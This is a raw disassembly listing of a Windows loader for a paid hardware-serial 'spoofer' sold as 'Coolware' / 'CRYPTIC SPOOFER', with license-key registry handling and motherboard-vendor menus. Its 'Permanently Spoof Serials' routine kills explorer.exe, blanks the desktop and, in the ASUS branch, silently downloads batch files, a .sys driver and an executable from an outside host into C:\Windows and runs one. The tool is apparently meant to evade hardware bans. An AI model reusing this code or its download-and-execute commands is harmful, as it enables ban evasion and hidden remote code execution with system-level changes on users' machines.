addss xmm0, xmm0
mov dword [rbp + 0x160], 0x428c0000
lea rdx, str.New_spoofing_method_added
lea rcx, str.Permanent_V1.5:
subss xmm1, xmm0
subss xmm1, xmm13
movss dword [rbp + 0x15c], xmm1
call fcn.1400329a0
mov rcx, qword [0x140215f00]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x20]
movss xmm1, dword [rax + 0x250]
subss xmm1, xmm0
cmp qword [rax + 0x1a8], r13
jne 0x140048d52
cmp qword [rcx + 0x4b30], r13
je 0x140048d5e
movss xmm1, dword [rax + 0x220]
subss xmm1, xmm0
movss xmm0, dword [rcx + 0x37f8]
lea r8, [rbp + 0x164]
addss xmm0, xmm0
mov dword [rbp + 0x168], 0x428c0000
lea rdx, str.Coolware_Permanent_Spoofer_V1_is_released
lea rcx, str.Permanent_BETA_V1:
subss xmm1, xmm0
subss xmm1, xmm13
movss dword [rbp + 0x164], xmm1
call fcn.1400329a0
call fcn.14000b6f0
mov ecx, dword [0x140215f24]
mov eax, dword [0x140215f38]
cmp ecx, 3
jne 0x140048efa
cmp eax, 2
jne 0x140048efa
movss xmm0, dword [0x1401120c8]
lea rdx, [rbp + 0x16c]
movss xmm1, dword [0x1401120cc]
subss xmm0, xmm10
subss xmm1, xmm10
lea rcx, str.Misc
movss dword [rbp + 0x16c], xmm0
movss dword [rbp + 0x170], xmm1
call fcn.14000b630
mov rbx, qword [0x140215f00]
lea rdx, str.Error
mov rcx, qword [rbx + 0x3ef0]
call fcn.1400071d0
test byte [rbx + 0x5ca4], 4
mov edi, eax
je 0x140048e3a
mov r8d, eax
lea rdx, str.Error
lea rcx, str._popup__OpenPopup___s_____0x_08X__n
call fcn.14001e2a0
mov ecx, edi
call fcn.140016d00
lea rdx, [rbp + 0x174]
mov dword [rbp + 0x174], 0x44098000
lea rcx, str.Discord__support__purchase_
mov dword [rbp + 0x178], 0x42480000
call fcn.140031050
test al, al
je 0x140048e79
lea rcx, str.start_https:__discord.gg_HF2ZwGdJBr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x17c]
mov dword [rbp + 0x17c], 0x44098000
lea rcx, str.Website__purchase_only_
mov dword [rbp + 0x180], 0x42480000
call fcn.140031050
test al, al
je 0x140048eb1
lea rcx, str.start_https:__coolware_services.mysellix.io_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x184]
mov dword [rbp + 0x184], 0x44098000
lea rcx, str.Youtube_Channel
mov dword [rbp + 0x188], 0x42480000
call fcn.140031050
test al, al
je 0x140048ee9
lea rcx, str.start_https:__www.youtube.com__RedeeedPro
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000b6f0
mov eax, dword [0x140215f38]
mov ecx, dword [0x140215f24]
cmp ecx, 4
jne 0x1400490b5
cmp eax, 2
jne 0x14004b12c
movss xmm0, dword [0x1401120c8]
lea rdx, [rbp + 0x18c]
movss xmm1, dword [0x1401120cc]
subss xmm0, xmm10
subss xmm1, xmm10
lea rcx, str.Checker
movss dword [rbp + 0x18c], xmm0
movss dword [rbp + 0x190], xmm1
call fcn.14000b630
mov rbx, qword [0x140215f00]
lea rdx, str.Error
mov rcx, qword [rbx + 0x3ef0]
call fcn.1400071d0
test byte [rbx + 0x5ca4], 4
mov edi, eax
je 0x140048f84
mov r8d, eax
lea rdx, str.Error
lea rcx, str._popup__OpenPopup___s_____0x_08X__n
call fcn.14001e2a0
mov ecx, edi
call fcn.140016d00
call fcn.140045ff0
lea rdx, [rbp + 0x194]
mov qword [rbp + 0x194], r13
lea rcx, str.Refresh_Serials
call fcn.140031050
test al, al
je 0x140048fba
mov byte [0x140215ef9], r13b
call fcn.140045ff0
cmp qword [0x140215150], 0xf
lea r8, [0x140215138]
movdqa xmm0, xmmword [0x1400fe700]
lea rdx, str.CPU:__s
cmova r8, qword [0x140215138]
lea rcx, [rbp - 0x48]
movups xmmword [rbp - 0x48], xmm0
call fcn.1400301d0
cmp qword [0x1402151f0], 0xf
lea r8, [0x1402151d8]
lea rdx, str.BIOS:__s
cmova r8, qword [0x1402151d8]
lea rcx, [rbp - 0x48]
call fcn.1400301d0
cmp qword [0x140215210], 0xf
lea r8, [0x1402151f8]
lea rdx, str.Baseboard:__s
cmova r8, qword [0x1402151f8]
lea rcx, [rbp - 0x48]
call fcn.1400301d0
cmp qword [0x140215190], 0xf
lea r8, [0x140215178]
lea rdx, str.SMBIOS:__s
cmova r8, qword [0x140215178]
lea rcx, [rbp - 0x48]
call fcn.1400301d0
cmp qword [0x140215230], 0xf
lea r8, [0x140215218]
lea rdx, str.MAC:__s
cmova r8, qword [0x140215218]
lea rcx, [rbp - 0x48]
call fcn.1400301d0
cmp qword [0x140215170], 0xf
lea r8, [0x140215158]
lea rdx, [0x1400f3538]
cmova r8, qword [0x140215158]
lea rcx, [rbp - 0x48]
call fcn.1400301d0
jmp 0x14004b127
cmp ecx, 2
jne 0x14004a483
cmp eax, ecx
jne 0x14004b12c
cmp byte [0x140215239], r13b
je 0x140049752
lea rax, [rbp + 0x1a0]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREcoolware
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140049165
mov rcx, qword [rbp + 0x1a0]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x28]
lea rax, [rbp + 0x3b0]
mov dword [rsp + 0x70], 0x100
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SavedKey
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140049158
cmp dword [rbp - 0x28], r15d
jne 0x140049158
lea r8, [rbp + 0x3b0]
mov edx, 0x32
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [0x140215f90]
mov rdi, qword [0x140215f00]
mov rbx, rcx
mov qword [rbp - 0x48], rcx
test rcx, rcx
jne 0x1400491ba
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x1400491b3
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], r13d
jg 0x1400491ac
mov r8d, 0x707
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov qword [rbp - 0x48], rcx
mov rbx, rcx
call fcn.140011b00
lea rcx, [rdi + 0x4858]
lea rdx, [rbp - 0x48]
call fcn.14001f0e0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rdi + 0x3ef0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x298]
call fcn.1400215c0
mov rcx, qword [0x140215f00]
lea rax, str.CRYPTIC_SPOOFER
movss xmm3, dword [0x1400fe158]
lea rdx, [rbp + 0x1a8]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
movss xmm2, dword [rcx + 0x3c40]
mov rcx, qword [rcx + 0x3c38]
movss dword [rsp + 0x20], xmm9
call fcn.14002a4e0
movss xmm0, dword [rbp + 0x1a8]
lea rcx, [rbp + 0x388]
addss xmm0, dword [0x1400fe054]
movss xmm2, dword [0x1401120c8]
cvtps2pd xmm2, xmm2
mov dword [rbp + 0x1b4], 0x42a00000
cvttss2si eax, xmm0
mulsd xmm2, qword [0x1400fe070]
movd xmm1, eax
mov rax, qword [0x140215f00]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x1a8], xmm1
mulss xmm1, xmm15
cvtps2pd xmm0, xmm1
movss xmm1, dword [0x140216148]
subsd xmm2, xmm0
movss dword [rbp + 0x388], xmm1
movss xmm1, dword [0x140216150]
movss dword [rbp + 0x390], xmm1
movss xmm1, dword [0x1402160ac]
movss dword [rbp + 0x94], xmm1
cvtpd2ps xmm0, xmm2
movss xmm2, dword [rax + 0x37f0]
movss dword [rbp + 0x1b0], xmm0
movss xmm0, dword [0x14021614c]
movss dword [rbp + 0x38c], xmm0
movaps xmm0, xmm2
mulss xmm0, dword [0x140216154]
mulss xmm2, dword [0x1402160b4]
movss dword [rbp + 0x394], xmm0
movss xmm0, dword [0x1402160a8]
movss dword [rbp + 0x90], xmm0
movss xmm0, dword [0x1402160b0]
movss dword [rbp + 0x98], xmm0
movss dword [rbp + 0x9c], xmm2
call fcn.140003c00
lea rcx, [rbp + 0x90]
mov r8d, eax
call fcn.140003c00
movss xmm3, dword [0x1400fe108]
mov edx, eax
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
call fcn.1400315e0
call fcn.140011c30
movss xmm6, dword [0x1401120c8]
mov rcx, qword [0x140215f00]
mulss xmm6, xmm15
subss xmm6, dword [0x1400fe11c]
test rcx, rcx
jne 0x140049393
mov r8d, 0xb7f
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x140215f00]
movss xmm0, dword [rcx + 0x3840]
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [0x1401120cc]
mulss xmm0, xmm15
mov byte [rax + 0xb8], r15b
mov rax, qword [rcx + 0x3ef0]
mulss xmm1, xmm15
addss xmm0, xmm0
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [0x1400fe0dc]
addss xmm2, xmm6
subss xmm1, xmm0
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r15b
movss dword [rax + 0x100], xmm2
addss xmm1, xmm0
movss dword [rax + 0x104], xmm1
call fcn.140015a00
mov qword [rsp + 0x38], r13
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x30], r13
lea rdx, [0x1400fc5c0]
mov dword [rsp + 0x28], r13d
lea rcx, [0x1400fc5c4]
mov r9d, 0x32
mov qword [rsp + 0x20], rax
mov r8, r12
mov dword [rbp + 0x1b8], 0x43a00000
mov dword [rbp + 0x1bc], 0x420c0000
call fcn.140037530
call fcn.140033b60
cmp byte [0x140215238], r13b
je 0x140049585
mov qword [rsp + 0x40], r13
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x38], rax
lea rdx, str.SOFTWAREcoolware
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140049543
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [r12 + rax], r13b
jne 0x1400494c0
mov rcx, qword [rbp + 0x1c0]
lea rdx, str.SavedKey
inc eax
mov r9d, r15d
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140049534
mov rbx, qword [0x140215f00]
lea rdx, str.Registry_Error
mov rcx, qword [rbx + 0x3ef0]
call fcn.1400071d0
test byte [rbx + 0x5ca4], 4
mov edi, eax
je 0x14004952d
mov r8d, eax
lea rdx, str.Registry_Error
lea rcx, str._popup__OpenPopup___s_____0x_08X__n
call fcn.14001e2a0
mov ecx, edi
call fcn.140016d00
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140049585
mov rbx, qword [0x140215f00]
lea rdx, str.Registry_Error
mov rcx, qword [rbx + 0x3ef0]
call fcn.1400071d0
test byte [rbx + 0x5ca4], 4
mov edi, eax
je 0x14004957e
mov r8d, eax
lea rdx, str.Registry_Error
lea rcx, str._popup__OpenPopup___s_____0x_08X__n
call fcn.14001e2a0
mov ecx, edi
call fcn.140016d00
lea rdx, [rbp + 0x1c8]
mov dword [rbp + 0x1c8], 0x43a00000
lea rcx, str.Launch
mov dword [rbp + 0x1cc], 0x420c0000
call fcn.140031050
test al, al
je 0x1400496ab
lea rcx, [rbp + 0x630]
call fcn.1400c3a60
xorps xmm0, xmm0
mov qword [rbp - 0x38], r13
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x30], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r12 + r8], r13b
jne 0x1400495d6
mov rdx, r12
lea rcx, [rbp - 0x48]
call fcn.14003eb30
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x630]
call fcn.1400c53c0
cmp byte [rbp + 0x840], r13b
je 0x1400496ab
mov rax, qword [str.Spoofer]
mov rbx, qword [rbp + 0x810]
mov dword [rbp - 0x48], eax
movzx eax, word [0x1400fc254]
mov word [rbp - 0x44], ax
movzx eax, byte [0x1400fc256]
mov qword [rbp - 0x30], rsi
mov rsi, qword [rbp + 0x818]
mov byte [rbp - 0x42], al
mov byte [rbp - 0x41], r13b
mov rdi, qword [rbp - 0x48]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], 7
cmp rbx, rsi
je 0x14004969e
mov eax, 0xf
nop word [rax + rax]
mov r8, qword [rbx + 0x10]
lea rdx, [rbp - 0x48]
cmp rax, 0xf
mov rcx, rbx
cmova rdx, rdi
cmp qword [rbx + 0x18], 0xf
jbe 0x14004967d
mov rcx, qword [rbx]
cmp r8, 7
jne 0x140049695
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140049749
mov eax, 0xf
add rbx, 0x40
cmp rbx, rsi
jne 0x140049660
xor bl, bl
test bl, bl
je 0x1400496ab
mov byte [0x140215239], r13b
call fcn.140015b50
lea rcx, str.Registry_Error
call fcn.1400174e0
test al, al
je 0x1400496f8
lea rcx, str.Error_occurred_while_accessing_Windows_Registry.
call fcn.140030090
lea rdx, [rbp + 0x1d0]
mov qword [rbp + 0x1d0], 0x42f00000
lea rcx, [0x1400fc61c]
call fcn.140031050
test al, al
je 0x1400496f3
call fcn.140017360
call fcn.140017640
lea rcx, str.Error
call fcn.1400174e0
test al, al
je 0x14004b12c
lea rcx, str.Authentication_failed._Please_check_your_credentials_and_try_again.
call fcn.140030090
lea rdx, [rbp + 0x1d8]
mov qword [rbp + 0x1d8], 0x42f00000
lea rcx, [0x1400fc61c]
call fcn.140031050
test al, al
je 0x14004973f
call fcn.140017360
call fcn.140017640
jmp 0x14004b12c
movzx ebx, r15b
jmp 0x1400496a0
mov rcx, qword [0x140215f00]
movss xmm0, dword [0x1401120c8]
subss xmm0, dword [0x1400fe134]
mov rax, qword [rcx + 0x3ef0]
mulss xmm0, xmm15
mov byte [rax + 0xb8], r15b
mov rax, qword [rcx + 0x3ef0]
addss xmm0, xmm14
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
mov byte [rax + 0x141], r15b
addss xmm1, xmm0
movss dword [rax + 0x100], xmm1
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x104]
subss xmm1, dword [rax + 0x24]
addss xmm1, dword [rax + 0x88]
mov byte [rax + 0xb8], r15b
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
mov byte [rax + 0x141], r15b
addss xmm0, xmm1
movss dword [rax + 0x104], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov byte [rbp - 0x78], r13b
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], rsi
call fcn.140015a00
lea rcx, str.Select_your_motherboard
call fcn.140030090
lea rax, str.GIGABYTE
mov qword [rbp + 0x5a0], rax
lea rbx, str.Other_Motherboard
lea rax, [0x1400fc68c]
mov qword [rbp + 0x5c8], rbx
mov qword [rbp + 0x5a8], rax
lea r9, [rbp + 0x5a0]
lea rax, str.ASUS
mov qword [rbp + 0x5b0], rax
lea rax, str.AsRock
mov qword [rbp + 0x5b8], rax
lea rax, str.Lenovo
mov qword [rbp + 0x5c0], rax
call fcn.140034ec0
lea rdx, [rbp + 0x1e0]
mov dword [rbp + 0x1e0], 0x43e38000
lea rcx, str.Permanently_Spoof_Serials
mov dword [rbp + 0x1e4], 0x42340000
call fcn.140031050
test al, al
je case.default.0x1400498c6
movsxd rax, dword [0x140216018]
cmp eax, 5
ja case.default.0x1400498c6
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x4b698]
add rcx, rdx
jmp rcx
mov rdi, qword [rbp - 0x60]
cmp rdi, 8
jb 0x1400498fd
mov qword [rbp - 0x68], 8
lea rax, [rbp - 0x78]
cmp rdi, 0xf
movabs rcx, 0x4554594241474947
cmova rax, qword [rbp - 0x78]
mov qword [rax], rcx
mov byte [rax + 8], r13b
jmp 0x1400499e0
mov rcx, rdi
movabs rdx, 0x7fffffffffffffff
shr rcx, 1
mov rax, rdx
sub rax, rcx
cmp rdi, rax
jbe 0x14004992b
movabs rax, 0x8000000000000000
mov rsi, rdx
add rax, 0x27
jmp 0x14004995b
lea rax, [rcx + rdi]
cmp rax, 0xf
cmova rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140049945
mov rbx, r13
jmp 0x140049982
cmp rcx, 0x1000
jb 0x14004997a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004b68f
mov rcx, rax
call fcn.1400ccb94
test rax, rax
je 0x14004b38c
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140049982
call fcn.1400ccb94
mov rbx, rax
mov qword [rbp - 0x68], 8
movabs rax, 0x4554594241474947
mov qword [rbp - 0x60], rsi
mov qword [rbx], rax
mov byte [rbx + 8], r13b
cmp rdi, 0xf
jbe 0x1400499d7
mov rcx, qword [rbp - 0x78]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400499d2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b38c
call fcn.1400ccee8
mov esi, 0xf
mov qword [rbp - 0x78], rbx
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetDC]
lea rdx, [rbp + 0x5e0]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, 4
call qword [sym.imp.GDI32.dll_GetStockObject]
lea rdx, [rbp + 0x5e0]
mov rcx, rbx
mov r8, rax
call qword [sym.imp.USER32.dll_FillRect]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ReleaseDC]
call fcn.1400434b0
jmp 0x14004a127
mov rdi, qword [rbp - 0x60]
cmp rdi, 3
jb 0x140049a83
cmp rdi, 0xf
mov qword [rbp - 0x68], 3
lea rbx, [rbp - 0x78]
mov r8d, 3
cmova rbx, qword [rbp - 0x78]
lea rdx, [0x1400fc68c]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], r13b
jmp 0x140049b6c
mov rcx, rdi
movabs rdx, 0x7fffffffffffffff
shr rcx, 1
mov rax, rdx
sub rax, rcx
cmp rdi, rax
jbe 0x140049ab1
movabs rax, 0x8000000000000000
mov rsi, rdx
add rax, 0x27
jmp 0x140049ae1
lea rax, [rdi + rcx]
cmp rax, 0xf
cmova rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140049acb
mov rbx, r13
jmp 0x140049b08
cmp rcx, 0x1000
jb 0x140049b00
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004b68f
mov rcx, rax
call fcn.1400ccb94
test rax, rax
je 0x14004b38c
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140049b08
call fcn.1400ccb94
mov rbx, rax
mov ecx, dword [0x1400fc68c]
mov qword [rbp - 0x68], 3
mov qword [rbp - 0x60], rsi
mov word [rbx], cx
movzx ecx, byte [0x1400fc68e]
mov byte [rbx + 2], cl
mov byte [rbx + 3], r13b
cmp rdi, 0xf
jbe 0x140049b63
mov rcx, qword [rbp - 0x78]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049b5e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b38c
call fcn.1400ccee8
mov esi, 0xf
mov qword [rbp - 0x78], rbx
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetDC]
lea rdx, [rbp + 0x5f0]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, 4
call qword [sym.imp.GDI32.dll_GetStockObject]
lea rdx, [rbp + 0x5f0]
mov rcx, rbx
mov r8, rax
call qword [sym.imp.USER32.dll_FillRect]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ReleaseDC]
call fcn.140043f20
jmp 0x14004a127
mov rdi, qword [rbp - 0x60]
cmp rdi, 4
jb 0x140049c00
mov qword [rbp - 0x68], 4
lea rax, [rbp - 0x78]
cmp rdi, 0xf
cmova rax, qword [rbp - 0x78]
mov dword [rax], 0x53555341
mov byte [rax + 4], r13b
jmp 0x140049cdc
mov rcx, rdi
movabs rdx, 0x7fffffffffffffff
shr rcx, 1
mov rax, rdx
sub rax, rcx
cmp rdi, rax
jbe 0x140049c2e
movabs rax, 0x8000000000000000
mov rsi, rdx
add rax, 0x27
jmp 0x140049c5e
lea rax, [rcx + rdi]
cmp rax, 0xf
cmova rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140049c48
mov rbx, r13
jmp 0x140049c85
cmp rcx, 0x1000
jb 0x140049c7d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004b689
mov rcx, rax
call fcn.1400ccb94
test rax, rax
je 0x14004b393
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140049c85
call fcn.1400ccb94
mov rbx, rax
mov qword [rbp - 0x68], 4
mov qword [rbp - 0x60], rsi
mov dword [rbx], 0x53555341
mov byte [rbx + 4], r13b
cmp rdi, 0xf
jbe 0x140049cd3
mov rcx, qword [rbp - 0x78]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049cce
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b393
call fcn.1400ccee8
mov esi, 0xf
mov qword [rbp - 0x78], rbx
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetDC]
lea rdx, [rbp + 0x520]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, 4
call qword [sym.imp.GDI32.dll_GetStockObject]
lea rdx, [rbp + 0x520]
mov rcx, rbx
mov r8, rax
call qword [sym.imp.USER32.dll_FillRect]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ReleaseDC]
lea rcx, str.curl___silent_https:__clovics.org_ASUSPDF2.bat___output_C:WindowsASUSPDF2.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__clovics.org_AsusPDF.bat___output_C:WindowsAsusPDF.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__clovics.org_AsDeviceChk.sys___output_C:WindowsAsDeviceChk.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__clovics.org_AsDeviceCheck.exe___output_C:WindowsAsDeviceCheck.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsAsusPDF.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, str.Coolware_Services
lea rdx, str.Restart_PC__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1400409c0
jmp case.default.0x1400498c6
mov rdi, qword [rbp - 0x60]
cmp rdi, 6
jb 0x140049ddc
cmp rdi, 0xf
mov qword [rbp - 0x68], 6
lea rbx, [rbp - 0x78]
mov r8d, 6
cmova rbx, qword [rbp - 0x78]
lea rdx, str.AsRock
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 6], r13b
jmp 0x140049ec5
mov rcx, rdi
movabs rdx, 0x7fffffffffffffff
shr rcx, 1
mov rax, rdx
sub rax, rcx
cmp rdi, rax
jbe 0x140049e0a
movabs rax, 0x8000000000000000
mov rsi, rdx
add rax, 0x27
jmp 0x140049e3a
lea rax, [rcx + rdi]
cmp rax, 0xf
cmova rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140049e24
mov rbx, r13
jmp 0x140049e61
cmp rcx, 0x1000
jb 0x140049e59
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004b689
mov rcx, rax
call fcn.1400ccb94
test rax, rax
je 0x14004b393
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140049e61
call fcn.1400ccb94
mov rbx, rax
mov ecx, dword [str.AsRock]
mov qword [rbp - 0x68], 6
mov qword [rbp - 0x60], rsi
mov dword [rbx], ecx
movzx ecx, word [0x1400fc69c]
mov word [rbx + 4], cx
mov byte [rbx + 6], r13b
cmp rdi, 0xf
jbe 0x140049ebc
mov rcx, qword [rbp - 0x78]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049eb7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b393
call fcn.1400ccee8
mov esi, 0xf
mov qword [rbp - 0x78], rbx
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetDC]
lea rdx, [rbp + 0x540]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, 4
call qword [sym.imp.GDI32.dll_GetStockObject]
lea rdx, [rbp + 0x540]
mov rcx, rbx
mov r8, rax
call qword [sym.imp.USER32.dll_FillRect]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.USER32.dll_ReleaseDC]
call fcn.140041d80
jmp 0x14004a127
mov rdi, qword [rbp - 0x60]
cmp rdi, 6
jb 0x140049f68
cmp rdi, 0xf
mov qword [rbp - 0x68], 6
lea rbx, [rbp - 0x78]
mov r8d, 6
cmova rbx, qword [rbp - 0x78]
lea rdx, str.Lenovo
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 6], r13b
jmp 0x14004a051
mov rcx, rdi
movabs rdx, 0x7fffffffffffffff
shr rcx, 1
mov rax, rdx
sub rax, rcx
cmp rdi, rax
jbe 0x140049f96
movabs rax, 0x8000000000000000
mov rsi, rdx
add rax, 0x27
jmp 0x140049fc6
lea rax, [rcx + rdi]
cmp rax, 0xf
cmova rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x140049fb0
mov rbx, r13
jmp 0x140049fed
cmp rcx, 0x1000
jb 0x140049fe5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004b689
mov rcx, rax
call fcn.1400ccb94
test rax, rax
je 0x14004b393
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140049fed
call fcn.1400ccb94
mov rbx, rax
mov ecx, dword [str.Lenovo]
mov qword [rbp - 0x68], 6
mov qword [rbp - 0x60], rsi
mov dword [rbx], ecx
movzx ecx, word [0x1400fc6a4]
mov word [rbx + 4], cx
mov byte [rbx + 6], r13b
cmp rdi, 0xf
jbe 0x14004a048
mov rcx, qword [rbp - 0x78]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a043
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004b393
call fcn.1400ccee8
mov esi, 0xf
mov qword [rbp - 0x78], rbx
lea rcx, str.taskkill__f__im_explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetDC]
lea rdx, [rbp + 0x560]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, 4
call qword [sym.imp.GDI32.dll_GetStockObject]
